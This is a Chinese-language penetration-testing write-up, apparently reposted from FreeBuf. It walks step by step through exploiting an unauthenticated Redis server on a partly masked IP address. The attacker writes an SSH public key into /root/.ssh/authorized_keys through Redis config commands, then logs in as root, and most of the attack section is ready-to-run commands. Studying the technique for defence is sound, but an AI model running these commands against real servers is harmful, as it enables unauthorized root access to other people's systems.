查看原文
其他

redis未授权访问配合ssh免密登录getshell

在一次渗透测试中拿到一个ip地址52.80.249.xx,nmap端口扫描出22,6379,80端口,目标机是linux系统的一台服务器,6379为redis的默认端口,尝试对其进行利用。使用kali作为攻击机

一、环境准备

1.1、在攻击机上面下载redis

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

1.2解压文件,执行文件

解压文件:tar xzf redis-2.8.17.tar.gz

进入redis目录:cd redis-2.8.17

安装:make

1.3、进入src目录,将redis-server和redis-cli拷贝到/usr/bin目录下(这样以后启动redis就不用进入安装目录了)

cd src

cp redis-server /usr/bin

cp redis-cli /usr/bin

1.4、、返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下

cd ../

cp redis.conf /etc/

1.5、使用/etc/目录下的reids.conf文件中的配置启动redis服务:

redis-server /etc/redis.conf

1.6、然后ctrl+c退出,再次进入src目录然后连接目标靶机的redis服务

ctrl+c

cd src

redis-cli –h 52.80.249.xx

出现52.80.249.xx:6379>就代表连接成功,并且没有输入密码

二、漏洞利用

2.1、这里附上一个这里没法利用的一种 攻击方式截图(没有测试仅供参考)

2.2、我们这里是不知道路径的,根据前期信息收集知道还有ssh服务的22端口是开放的,可以利用“公私钥”认证获取root权限

使用ssh生成公钥和私钥文件

ssh-keygen -t rsa

2.3、进入.ssh文件下,将上面生成的公钥保存到1.txt里面

cd /root/.ssh

(echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > 1.txt

2.4、将生成的公钥文件通过redis上传到目标服务器

cat 1.txt | redis-cli -h 52.80.249.xx -x set crack

2.5、远程连接redis服务

redis-cli -h 52.80.249.xx

2.6、获得redis备份的路径

config get dir

2.7、更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):

2.8、设置上传公钥的备份文件名字为authorized_keys:

config set dbfilename authorized_keys

2.9、检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,至此成功写入ssh公钥到靶机

config get dbfilename

2.10、攻击机直接ssh连接目标服务器

ssh -i id_rsa root@52.80.249.xx

本文作者:天良, 转载请注明来自FreeBuf.COM


版权申明:内容来源网络,版权归原创者所有。除非无法确认,都会标明作者及出处,如有侵权,烦请告知,我们会立即删除并致歉!

本公号发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存